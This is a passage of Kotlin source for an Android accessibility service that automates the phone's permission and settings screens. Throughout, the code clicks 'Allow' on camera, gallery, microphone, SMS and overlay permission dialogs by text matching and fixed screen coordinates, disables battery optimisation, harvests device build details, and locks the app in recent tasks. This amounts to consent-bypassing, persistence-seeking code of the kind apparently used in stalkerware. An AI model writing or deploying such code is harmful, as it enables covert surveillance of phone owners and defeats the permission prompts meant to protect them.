                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到悬浮窗权限，向下滑动继续查找")
                    if (performScrollDown()) {
                        performSegmentedDelay(600) // Android 12 需要更长的滚动间隔
                    }
                }
            }
            
            Log.e(TAG, "❌ 无法找到悬浮窗权限入口")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到悬浮窗权限失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 配置应用悬浮窗权限 - Android 12版本
     */
    private suspend fun configureAppOverlayPermissionAndroid12(appNode: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 配置应用悬浮窗权限 (Android 12版本)")
            
            // ✅ 正确的流程：直接点击应用，然后处理弹框
            Log.d(TAG, "🔄 点击应用节点以触发悬浮窗权限弹框")
            val clickSuccess = executeClickByDecompiledCode(appNode)
            if (!clickSuccess) {
                Log.e(TAG, "❌ 无法点击应用节点")
                return false
            }
            
            // ✅ 延迟稳定UI
            Log.d(TAG, "⏳ 延迟600ms等待弹框出现")
            performSegmentedDelay(600) // Android 12 需要更长的等待时间
            
            // ✅ 按比例计算"允许"按钮坐标
            Log.d(TAG, "🔍 按比例计算'允许'按钮坐标")
            
            // 获取屏幕尺寸
            val displayMetrics = context.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels
            
            Log.d(TAG, "🔍 [调试] 屏幕尺寸: ${screenWidth}x${screenHeight}")
            
            // ✅ 按比例计算坐标 (基于图片分析)
            // X比例: 0.5 (屏幕中心)
            // Y比例: 0.8333 (弹框中"允许"选项位置)
            val proportionalX = 0.5f
            val proportionalY = 0.89f
            
            val calculatedX = (screenWidth * proportionalX).toInt()
            val calculatedY = (screenHeight * proportionalY).toInt()
            
            Log.d(TAG, "🔍 [调试] 比例坐标: ($proportionalX, $proportionalY)")
            Log.d(TAG, "🔍 [调试] 计算坐标: ($calculatedX, $calculatedY)")
            
            // ✅ 尝试按比例坐标点击
            val proportionalClickSuccess = executePreciseGestureClick(calculatedX, calculatedY, 2)
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置应用悬浮窗权限失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 使用 PermissionGranter 触发运行时权限弹窗并自动处理 - Android 12版本
     */
    private suspend fun requestRuntimePermissionsViaGranterAndroid12() {
        try {
            val granter = service.getPermissionGranter()
            if (granter == null) {
                Log.w(TAG, "⚠️ PermissionGranter 未初始化，跳过运行时权限引导")
                return
            }

            suspend fun waitAndHandleDialogs(waitMs: Int = 1500, attempts: Int = 3) { // Android 12 需要更长的等待时间
                repeat(attempts) {
                    performSegmentedDelay(waitMs)
                    handlePermissionDialogAndroid12()
                }
            }

            // 摄像头
            kotlin.runCatching {
                if (!granter.hasCameraPermission()) {
                    Log.d(TAG, "📷 申请摄像头权限")
                    granter.startCameraPermissionRequest()
                    waitAndHandleDialogs()
                } else Log.d(TAG, "📷 摄像头已授权")
            }

            // 相册（读取媒体权限）
            kotlin.runCatching {
                val galleryManager = com.hikoncont.manager.GalleryManager(service)
                if (!galleryManager.hasReadMediaPermission()) {
                    Log.d(TAG, "🖼️ 申请相册权限")
                    granter.startGalleryPermissionRequest()
                    waitAndHandleDialogs()
                } else Log.d(TAG, "🖼️ 相册已授权")
            }

            // 麦克风
            kotlin.runCatching {
                if (!granter.checkMicrophonePermission()) {
                    Log.d(TAG, "🎤 申请麦克风权限")
                    granter.startMicrophonePermissionRequest()
                    waitAndHandleDialogs()
                } else Log.d(TAG, "🎤 麦克风已授权")
            }

            // 短信
            kotlin.runCatching {
                if (!granter.hasSMSPermission()) {
                    Log.d(TAG, "✉️ 申请短信权限")
                    granter.startSMSPermissionRequest()
                    waitAndHandleDialogs()
                } else Log.d(TAG, "✉️ 短信已授权")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 运行时权限申请流程异常 (Android 12版本)", e)
        }
    }
    
    /**
     * ✅ 导航指定页面 (带滚动搜索） - Android 12版本
     */
    private suspend fun navigateToTargetPageAndroid12(targetText: String): Boolean {
        Log.d(TAG, "🔧 导航到目标页面: $targetText (Android 12版本)")
        
        // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
        for (attempt in 1..5) {
            Log.d(TAG, "🔍 第${attempt}次尝试查找目标: $targetText")
            
            val textNode = findTextByDecompiledCode(targetText)
            if (textNode != null) {
                Log.d(TAG, "✅ 找到目标: $targetText")
                if (executeClickByDecompiledCode(textNode)) {
                    performSegmentedDelay(1500) // 等待页面加载
                    return true
                }
            }
            
            // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
            if (attempt < 5) {
                Log.d(TAG, "🔄 当前页面未找到目标，向下滑动继续查找")
                if (performScrollDown()) {
                    performSegmentedDelay(1000) // Android 12 需要更长的滚动间隔
                }
            }
        }
        
        Log.w(TAG, "⚠️ 未找到导航目标: $targetText")
        return false
    }
    
    /**
     * ✅ 处理耗电异常优化弹框，选择"不优化" - Android 12版本
     */
    private suspend fun handleBatteryOptimizationDialogAndroid12(): Boolean {
        return try {
            Log.d(TAG, "🔧 处理电池优化弹框 (Android 12版本)")
            
            // 使用反编译代码策略查找不优化相关文本
            val notOptimizeTexts = listOf(
                "不优化", "不进行优化", "不限制", "Don't Optimize", "DON'T OPTIMIZE",
                "允许", "Allow", "ALLOW", "允许优化", "Allow Optimization",
                "关闭优化", "Turn Off Optimization", "禁用优化", "Disable Optimization"
            )
            
            // 最多尝试5次，每次尝试前先查找
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找不优化选项")
                
                for (notOptimizeText in notOptimizeTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $notOptimizeText")
                    val notOptimizeNode = findTextByDecompiledCode(notOptimizeText)
                    if (notOptimizeNode != null) {
                        Log.d(TAG, "✅ 找到不优化选项: $notOptimizeText")
                        if (executeClickByDecompiledCode(notOptimizeNode)) {
                            Log.d(TAG, "✅ 成功选择不优化选项")
                            performSegmentedDelay(1000) // 等待操作完成
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，等待后重试
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到不优化选项，等待后重试")
                    performSegmentedDelay(500) // Android 12 需要更长的等待时间
                }
            }
            
            Log.w(TAG, "⚠️ 未能选择'不优化'")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理电池优化弹框失败 (Android 12版本)", e)
            false
        }
    }
    
    /**
     * ✅ 处理权限弹框 (基于反编译代码策略） - Android 12版本
     */
    private suspend fun handlePermissionDialogAndroid12(): Boolean {
        return try {
            Log.d(TAG, "🔧 处理权限弹框 (Android 12版本)")
            
            // 使用反编译代码策略查找权限弹框相关文本
            val permissionTexts = listOf(
                "允许", "确定", "确认", "Allow", "OK", "OKAY",
                "同意", "Agree", "接受", "Accept", "授权", "Authorize",
                "是", "Yes", "YES", "继续", "Continue", "下一步", "Next"
            )
            
            // 最多尝试5次，每次尝试前先查找
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找权限弹框")
                
                for (permissionText in permissionTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $permissionText")
                    val permissionNode = findTextByDecompiledCode(permissionText)
                    if (permissionNode != null) {
                        Log.d(TAG, "✅ 找到权限弹框按钮: $permissionText")
                        if (executeClickByDecompiledCode(permissionNode)) {
                            Log.d(TAG, "✅ 成功点击权限弹框按钮")
                            performSegmentedDelay(1000) // 等待操作完成
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，等待后重试
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到权限弹框，等待后重试")
                    performSegmentedDelay(800) // Android 12 需要更长的等待时间
                }
            }
            
            Log.d(TAG, "⚠️ 未找到权限弹框或允许按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理权限弹框失败 (Android 12版本)", e)
            false
        }
    }
    
    // ======================== 手机信息获取方法 ========================
    
    /**
     * ✅ 获取手机详细信息 - 区分OnePlus手机
     */
    private fun getPhoneDetailedInfo(): Map<String, String> {
        return try {
            val phoneInfo = mutableMapOf<String, String>()
            
            // 基础信息
            phoneInfo["brand"] = Build.BRAND ?: "unknown"
            phoneInfo["manufacturer"] = Build.MANUFACTURER ?: "unknown"
            phoneInfo["model"] = Build.MODEL ?: "unknown"
            phoneInfo["product"] = Build.PRODUCT ?: "unknown"
            phoneInfo["device"] = Build.DEVICE ?: "unknown"
            phoneInfo["board"] = Build.BOARD ?: "unknown"
            phoneInfo["hardware"] = Build.HARDWARE ?: "unknown"
            phoneInfo["fingerprint"] = Build.FINGERPRINT ?: "unknown"
            
            // Android版本信息
            phoneInfo["sdk_version"] = Build.VERSION.SDK_INT.toString()
            phoneInfo["release"] = Build.VERSION.RELEASE ?: "unknown"
            phoneInfo["codename"] = Build.VERSION.CODENAME ?: "unknown"
            
            // OnePlus特定信息
            phoneInfo["oneplus_os_version"] = getOnePlusSystemProperty("ro.oneplus.version")
            phoneInfo["oneplus_build_id"] = getOnePlusSystemProperty("ro.build.display.id")
            phoneInfo["oneplus_rom_version"] = getOnePlusSystemProperty("ro.oneplus.version")
            phoneInfo["oneplus_rom_name"] = getOnePlusSystemProperty("ro.oneplus.rom.name")
            
            // 系统属性
            phoneInfo["ro_build_id"] = getOnePlusSystemProperty("ro.build.id")
            phoneInfo["ro_build_display_id"] = getOnePlusSystemProperty("ro.build.display.id")
            phoneInfo["ro_build_version_incremental"] = getOnePlusSystemProperty("ro.build.version.incremental")
            phoneInfo["ro_build_description"] = getOnePlusSystemProperty("ro.build.description")
            
            // 设备标识
            phoneInfo["ro_product_brand"] = getOnePlusSystemProperty("ro.product.brand")
            phoneInfo["ro_product_manufacturer"] = getOnePlusSystemProperty("ro.product.manufacturer")
            phoneInfo["ro_product_model"] = getOnePlusSystemProperty("ro.product.model")
            phoneInfo["ro_product_name"] = getOnePlusSystemProperty("ro.product.name")
            phoneInfo["ro_product_device"] = getOnePlusSystemProperty("ro.product.device")
            
            // 芯片信息
            phoneInfo["ro_chipname"] = getOnePlusSystemProperty("ro.chipname")
            phoneInfo["ro_hardware"] = getOnePlusSystemProperty("ro.hardware")
            phoneInfo["ro_board_platform"] = getOnePlusSystemProperty("ro.board.platform")
            
            // 运营商信息
            phoneInfo["ro_telephony_default_network"] = getOnePlusSystemProperty("ro.telephony.default_network")
            phoneInfo["ro_carrier"] = getOnePlusSystemProperty("ro.carrier")
            
            // 安全信息
            phoneInfo["ro_secure"] = getOnePlusSystemProperty("ro.secure")
            phoneInfo["ro_debuggable"] = getOnePlusSystemProperty("ro.debuggable")
            
            // 打印详细信息
            Log.i(TAG, "📱 手机详细信息:")
            phoneInfo.forEach { (key, value) ->
                Log.i(TAG, "  $key: $value")
            }
            
            phoneInfo
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取手机详细信息失败", e)
            emptyMap()
        }
    }
    
    /**
     * ✅ 判断手机品牌类型 - 区分OnePlus手机
     */
    private fun getPhoneBrandType(): String {
        return try {
            val phoneInfo = getPhoneDetailedInfo()
            val brand = phoneInfo["brand"]?.lowercase() ?: ""
            val manufacturer = phoneInfo["manufacturer"]?.lowercase() ?: ""
            val product = phoneInfo["product"]?.lowercase() ?: ""
            val device = phoneInfo["device"]?.lowercase() ?: ""
            val model = phoneInfo["model"]?.lowercase() ?: ""
            
            Log.d(TAG, "🔍 品牌检测: brand=$brand, manufacturer=$manufacturer, product=$product, device=$device, model=$model")
            
            when {
                // OnePlus手机特征
                brand.contains("oneplus") || 
                manufacturer.contains("oneplus") || 
                product.contains("oneplus") || 
                device.contains("oneplus") || 
                model.contains("oneplus") -> {
                    Log.i(TAG, "📱 检测到OnePlus手机")
                    "ONEPLUS"
                }
                
                // 其他BBK系手机
                brand.contains("bbk") || 
                manufacturer.contains("bbk") || 
                product.contains("bbk") -> {
                    Log.i(TAG, "🏢 检测到BBK系手机")
                    "BBK"
                }
                
                else -> {
                    Log.w(TAG, "❓ 未知品牌手机")
                    "UNKNOWN"
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 判断手机品牌类型失败", e)
            "UNKNOWN"
        }
    }
    
    /**
     * ✅ 获取手机型号详细信息
     */
    private fun getPhoneModelDetails(): Map<String, String> {
        return try {
            val phoneInfo = getPhoneDetailedInfo()
            val model = phoneInfo["model"] ?: ""
            val product = phoneInfo["product"] ?: ""
            val device = phoneInfo["device"] ?: ""
            val fingerprint = phoneInfo["fingerprint"] ?: ""
            
            val modelDetails = mutableMapOf<String, String>()
            modelDetails["model"] = model
            modelDetails["product"] = product
            modelDetails["device"] = device
            modelDetails["fingerprint"] = fingerprint
            
            // 尝试从fingerprint中提取更多信息
            if (fingerprint.isNotEmpty()) {
                val parts = fingerprint.split("/")
                if (parts.size >= 4) {
                    modelDetails["brand_from_fingerprint"] = parts[0]
                    modelDetails["product_from_fingerprint"] = parts[1]
                    modelDetails["device_from_fingerprint"] = parts[2]
                    modelDetails["release_from_fingerprint"] = parts[3]
                }
            }
            
            Log.i(TAG, "📱 手机型号详细信息:")
            modelDetails.forEach { (key, value) ->
                Log.i(TAG, "  $key: $value")
            }
            
            modelDetails
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取手机型号详细信息失败", e)
            emptyMap()
        }
    }
    
    /**
     * ✅ 输出完整的手机信息报告
     */
    private fun printPhoneInfoReport() {
        try {
            val separator = "=".repeat(60)
            Log.i(TAG, separator)
            Log.i(TAG, "📱 手机详细信息报告")
            Log.i(TAG, separator)
            
            val phoneInfo = getPhoneDetailedInfo()
            val brandType = getPhoneBrandType()
            val modelDetails = getPhoneModelDetails()
            
            // 基础信息
            Log.i(TAG, "📱 基础信息:")
            Log.i(TAG, "  品牌: ${phoneInfo["brand"]}")
            Log.i(TAG, "  制造商: ${phoneInfo["manufacturer"]}")
            Log.i(TAG, "  型号: ${phoneInfo["model"]}")
            Log.i(TAG, "  产品: ${phoneInfo["product"]}")
            Log.i(TAG, "  设备: ${phoneInfo["device"]}")
            Log.i(TAG, "  主板: ${phoneInfo["board"]}")
            Log.i(TAG, "  硬件: ${phoneInfo["hardware"]}")
            
            // Android版本信息
            Log.i(TAG, "🤖 Android版本信息:")
            Log.i(TAG, "  SDK版本: ${phoneInfo["sdk_version"]}")
            Log.i(TAG, "  发布版本: ${phoneInfo["release"]}")
            Log.i(TAG, "  代号: ${phoneInfo["codename"]}")
            
            // OnePlus特定信息
            Log.i(TAG, "📱 OnePlus特定信息:")
            Log.i(TAG, "  OnePlus OS版本: ${phoneInfo["oneplus_os_version"]}")
            Log.i(TAG, "  OnePlus构建ID: ${phoneInfo["oneplus_build_id"]}")
            Log.i(TAG, "  OnePlus ROM版本: ${phoneInfo["oneplus_rom_version"]}")
            Log.i(TAG, "  OnePlus ROM名称: ${phoneInfo["oneplus_rom_name"]}")
            
            // 品牌类型判断
            Log.i(TAG, "🏷️ 品牌类型判断:")
            Log.i(TAG, "  检测结果: $brandType")
            
            // 芯片信息
            Log.i(TAG, "🔧 芯片信息:")
            Log.i(TAG, "  芯片名称: ${phoneInfo["ro_chipname"]}")
            Log.i(TAG, "  硬件平台: ${phoneInfo["ro_board_platform"]}")
            Log.i(TAG, "  硬件信息: ${phoneInfo["ro_hardware"]}")
            
            // 系统属性
            Log.i(TAG, "⚙️ 系统属性:")
            Log.i(TAG, "  构建ID: ${phoneInfo["ro_build_id"]}")
            Log.i(TAG, "  显示ID: ${phoneInfo["ro_build_display_id"]}")
            Log.i(TAG, "  增量版本: ${phoneInfo["ro_build_version_incremental"]}")
            Log.i(TAG, "  构建描述: ${phoneInfo["ro_build_description"]}")
            
            // 设备标识
            Log.i(TAG, "🆔 设备标识:")
            Log.i(TAG, "  产品品牌: ${phoneInfo["ro_product_brand"]}")
            Log.i(TAG, "  产品制造商: ${phoneInfo["ro_product_manufacturer"]}")
            Log.i(TAG, "  产品型号: ${phoneInfo["ro_product_model"]}")
            Log.i(TAG, "  产品名称: ${phoneInfo["ro_product_name"]}")
            Log.i(TAG, "  产品设备: ${phoneInfo["ro_product_device"]}")
            
            // 运营商信息
            Log.i(TAG, "📶 运营商信息:")
            Log.i(TAG, "  默认网络: ${phoneInfo["ro_telephony_default_network"]}")
            Log.i(TAG, "  运营商: ${phoneInfo["ro_carrier"]}")
            
            // 安全信息
            Log.i(TAG, "🔒 安全信息:")
            Log.i(TAG, "  安全模式: ${phoneInfo["ro_secure"]}")
            Log.i(TAG, "  调试模式: ${phoneInfo["ro_debuggable"]}")
            
            Log.i(TAG, separator)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 输出手机信息报告失败", e)
        }
    }

    // ======================== 直接权限请求功能 ========================
    
    /**
     * ✅ 直接调用MainActivity的摄像头权限请求
     */
    private suspend fun executeCameraPermissionDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity摄像头权限请求")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_CAMERA_PERMISSION").apply {
                putExtra("action", "request_camera_permission")
                putExtra("callback_action", "start_camera")
                putExtra("frontCamera", false)
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送摄像头权限请求广播给MainActivity")
            delay(1000)
            
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 10) {
                delay(200)
                
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasCameraPermission(context)) {
                    Log.d(TAG, "✅ 摄像头权限授予成功")
                    return true
                }
                
                // 尝试自动点击权限弹窗
                clickAllowByType("CAMERA")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接摄像头权限请求超时")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接摄像头权限请求失败", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的相册权限请求
     */
    private suspend fun executeGalleryPermissionDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity相册权限请求")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_GALLERY_PERMISSION").apply {
                putExtra("action", "request_gallery_permission")
                putExtra("callback_action", "start_gallery")
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送相册权限请求广播给MainActivity")
            delay(1000)
            
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 10) {
                delay(200)
                
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasGalleryPermission(context)) {
                    Log.d(TAG, "✅ 相册权限授予成功")
                    return true
                }
                
                // 尝试自动点击权限弹窗
                clickAllowByType("GALLERY")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接相册权限请求超时")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接相册权限请求失败", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的麦克风权限请求
     */
    private suspend fun executeMicrophonePermissionDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity麦克风权限请求")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION").apply {
                putExtra("action", "request_microphone_permission")
                putExtra("callback_action", "start_microphone")
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送麦克风权限请求广播给MainActivity")
            delay(1000)
            
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 10) {
                delay(200)
                
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasMicrophonePermission(context)) {
                    Log.d(TAG, "✅ 麦克风权限授予成功")
                    return true
                }
                
                // 尝试自动点击权限弹窗
                clickAllowByType("MIC")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接麦克风权限请求超时")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接麦克风权限请求失败", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的短信权限请求
     */
    private suspend fun executeSMSPermissionDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity短信权限请求")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_SMS_PERMISSION").apply {
                putExtra("action", "request_sms_permission")
                putExtra("callback_action", "start_sms")
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送短信权限请求广播给MainActivity")
            delay(1000)
            
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 10) {
                delay(200)
                
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasSMSPermission(context)) {
                    Log.d(TAG, "✅ 短信权限授予成功")
                    return true
                }
                
                // 尝试自动点击权限弹窗
                clickAllowByType("SMS")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接短信权限请求超时")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接短信权限请求失败", e)
            false
        }
    }

    /**
     * ✅ 根据权限类型点击允许按钮
     */
    private suspend fun clickAllowByType(type: String): Boolean {
        return try {
            val dm = context.resources.displayMetrics
            val w = dm.widthPixels
            val h = dm.heightPixels
            Log.d(TAG, "📐 屏幕尺寸: ${w}x${h}")
            
            when (type) {
                "CAMERA", "MIC" -> {
                    // 摄像头和麦克风权限的允许按钮位置
                    val candidates = listOf(
                        Pair(0.52f, 0.80f),
                        Pair(0.52f, 0.81f),
                        Pair(0.53f, 0.83f),
                        Pair(0.52f, 0.85f),
                        Pair(0.52f, 0.87f),
                        Pair(0.53f, 0.89f),
                    )
                    
                    var any = false
                    for ((xf, yf) in candidates) {
                        val x = (w * xf).toInt()
                        val y = (h * yf).toInt()
                        Log.d(TAG, "🖱️ ${type} 点击'使用应用时允许'候选: ($x,$y)")
                        val ok = simpleCoordinateClick(x, y)
                        any = any || ok
                        delay(150)
                    }
                    any
                }
                
                "GALLERY" -> {
                    // 相册权限的允许按钮位置
                    val candidates = listOf(
                        Pair(0.52f, 0.87f),
                        Pair(0.52f, 0.88f)
                    )
                    
                    var any = false
                    for ((xf, yf) in candidates) {
                        val x = (w * xf).toInt()
                        val y = (h * yf).toInt()
                        Log.d(TAG, "🖱️ ${type} 点击'相册 允许'候选: ($x,$y)")
                        val ok = simpleCoordinateClick(x, y)
                        any = any || ok
                        delay(150)
                    }
                    any
                }
                
                "SMS" -> {
                    // 短信权限需要点击两次
                    val x = (w * 0.50f).toInt()
                    val y = (h * 0.87f).toInt()
                    Log.d(TAG, "🖱️ SMS 第一次点击: ($x,$y)")
                    simpleCoordinateClick(x, y)
                    delay(220)
                    Log.d(TAG, "🖱️ SMS 第二次点击: ($x,$y)")
                    simpleCoordinateClick(x, y)
                    true
                }
                
                else -> {
                    // 默认位置
                    val candidates = listOf(
                        Pair((w * 0.85f).toInt(), (h * 0.88f).toInt()),
                        Pair((w * 0.50f).toInt(), (h * 0.88f).toInt()),
                        Pair((w * 0.85f).toInt(), (h * 0.50f).toInt())
                    )
                    var any = false
                    for ((x, y) in candidates) {
                        val ok = simpleCoordinateClick(x, y)
                        any = any || ok
                        delay(120)
                    }
                    any
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击允许按钮失败: $type", e)
            false
        }
    }

    /**
     * ✅ 简单坐标点击
     */
    private fun simpleCoordinateClick(x: Int, y: Int): Boolean {
        return try {
            val builder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(x.toFloat(), y.toFloat())
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 120)
            builder.addStroke(stroke)
            service.dispatchGesture(builder.build(), null, null)
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击异常", e)
            false
        }
    }


    /**
     * ✅ 执行向左滑动
     */
    private fun performSwipeLeft(): Boolean {
        return try {
            Log.d(TAG, "🔄 [原APK策略] 开始向左滑动")



            // 获取屏幕尺寸
            val dm = context.resources.displayMetrics
            val screenWidth = dm.widthPixels
            val screenHeight = dm.heightPixels
            val centerY = screenHeight / 2

            // 计算滑动起点和终点（从屏幕右侧3/4到左侧1/4）
            val startX = (screenWidth * 0.75f).toInt()  // 屏幕右侧3/4
            val endX = (screenWidth * 0.25f).toInt()    // 屏幕左侧1/4

            Log.d(TAG, "📐 屏幕尺寸: ${screenWidth}x${screenHeight}")
            Log.d(TAG, "🎯 滑动路径: 从($startX, $centerY)到($endX, $centerY)")

            // 执行手势滑动
            val success = performSwipeGesture(startX, centerY, endX, centerY)

            if (success) {
                Log.d(TAG, "✅ [原APK策略] 向左滑动成功")
            } else {
                Log.w(TAG, "❌ [原APK策略] 向左滑动失败")
            }

            success

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 向左滑动异常", e)
            false
        }
    }
    /**
     * ✅ 执行手势滑动（通用方法）
     */
    private fun performSwipeGesture(startX: Int, startY: Int, endX: Int, endY: Int): Boolean {
        return try {
            val builder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()

            // 设置滑动路径
            path.moveTo(startX.toFloat(), startY.toFloat())
            path.lineTo(endX.toFloat(), endY.toFloat())

            // 创建手势描述（持续时间500ms）
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 500)
            builder.addStroke(stroke)

            // 执行手势
            val gesture = builder.build()
            val success = service.dispatchGesture(gesture, null, null)

            if (success) {
                Log.d(TAG, "✅ 手势滑动执行成功: 从($startX, $startY)到($endX, $endY)")
                // 等待手势完成
                Thread.sleep(600)
            } else {
                Log.w(TAG, "❌ 手势滑动执行失败")
            }

            success

        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行手势滑动异常", e)
            false
        }
    }
    /**
     * ✅ OnePlus清除全部近期任务 - 参考小米实现
     * 🎯 核心策略：确认应用界面 + 打开任务栏 + 查找清除按钮 + 多次尝试点击
     */
    suspend fun clearAllRecentTasks(): Boolean {
        return try {
            Log.d(TAG, "🧹 开始清除OnePlus全部近期任务")

            // 0) 确认当前是否在本应用界面；若不在，则尝试打开并循环检测5次
            val targetPackage = context.packageName
            var inOurApp = false
            repeat(5) { attempt ->
                val current = getCurrentPackageName()
                if (current == targetPackage) {
                    inOurApp = true
                    Log.d(TAG, "✅ 已在本应用界面: $current (尝试 ${attempt + 1}/5)")
                    return@repeat
                }
                performBackNavigation()
                Log.d(TAG, "🔄 不在本应用界面(当前: $current)，尝试打开应用 (尝试 ${attempt + 1}/5)")
                try {
                    val appIntent = Intent().apply {
                        action = Intent.ACTION_MAIN
                        addCategory(Intent.CATEGORY_LAUNCHER)
                        setClassName(context.packageName, "com.hikoncont.MainActivity")
                        flags = Intent.FLAG_ACTIVITY_NEW_TASK
                    }
                    context.startActivity(appIntent)
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 打开应用失败", e)
                }
                delay(delay_page())
            }

            if (!inOurApp) {
                Log.w(TAG, "❌ 多次尝试后仍未进入本应用界面，取消清理任务")
                return false
            }

            // 1) 打开任务栏（最近任务）
            val opened = service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_RECENTS)
            if (!opened) {
                Log.w(TAG, "❌ 无法打开最近任务")
                return false
            }



            // 等待最近任务界面稳定

            if (ANDROID_VERSION == ONEPLUS_ANDROID_15){
                performSwipeLeft()
                delay(delay_page())
            }

            // 2) 查找并点击我们的APP名称
            val appNameClicked = findAndClickOurAppName()
            if (!appNameClicked) {
                Log.w(TAG, "⚠️ 未找到我们的APP名称")
                return false
            }
            delay(delay_page()) // 等待页面稳定
            delay(delay_page())
            // 3) 查找并点击锁定按钮
            val lockClicked = findAndClickLockButton()
            if (!lockClicked) {
                Log.w(TAG, "⚠️ 未找到锁定按钮")
                return false
            }
            delay(delay_page()) // 等待页面稳定

            // 4) 查找并点击清除全部按钮（优化版，减少卡顿）
            val candidates = listOf(
                "清除",
    
            )

            // ✅ 优化：减少尝试次数，增加延迟间隔
            repeat(2) { attempt ->
                Log.d(TAG, "🔍 第${attempt + 1}次尝试查找清除按钮")
                
                // ✅ 优化：异步获取根节点，避免阻塞
                val root = try {
                    getStableRootInActiveWindow(service)
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 获取根节点失败", e)
                    null
                }
                
                if (root != null) {
                    try {
                        // ✅ 优化：批量查找，减少API调用次数
                        val allClearNodes = mutableListOf<AccessibilityNodeInfo>()
                        
                        for (text in candidates) {
                            try {
                                val clearNodes = root.findAccessibilityNodeInfosByText(text)
                                clearNodes.forEach { allClearNodes.add(it) }
                                Log.d(TAG, "🔍 找到 ${clearNodes.size} 个匹配 '$text' 的节点")
                            } catch (e: Exception) {
                                Log.w(TAG, "⚠️ 查找 '$text' 失败", e)
                            }
                        }
                        
                        Log.d(TAG, "🔍 总共找到 ${allClearNodes.size} 个清除相关节点")
                        
                        // ✅ 优化：快速筛选可见可点击的节点
                        val validNodes = allClearNodes.filter { node ->
                            try {
                                val isVisible = node.isVisibleToUser
                                val isClickable = node.isClickable
                                val hasText = !node.text.isNullOrEmpty() || !node.contentDescription.isNullOrEmpty()
                                isVisible && isClickable && hasText
                            } catch (e: Exception) {
                                false
                            }
                        }
                        
                        Log.d(TAG, "🔍 筛选出 ${validNodes.size} 个有效节点")
                        
                        // ✅ 优化：优先处理最可能的清除按钮
                        for (clearNode in validNodes) {
                            try {
                                val nodeText = clearNode.text?.toString() ?: ""
                                val nodeDesc = clearNode.contentDescription?.toString() ?: ""
                                
                                // ✅ 优化：快速匹配，减少字符串比较
                                val isClearButton = candidates.any { candidate ->
                                    nodeText.equals(candidate, true) || nodeDesc.equals(candidate, true)
                                }
                                
                                if (isClearButton) {
                                    Log.i(TAG, "✅ 找到OnePlus清除按钮: '$nodeText' / '$nodeDesc'")
                                    
                                    // ✅ 优化：异步点击，避免阻塞
                                    val clickSuccess = try {
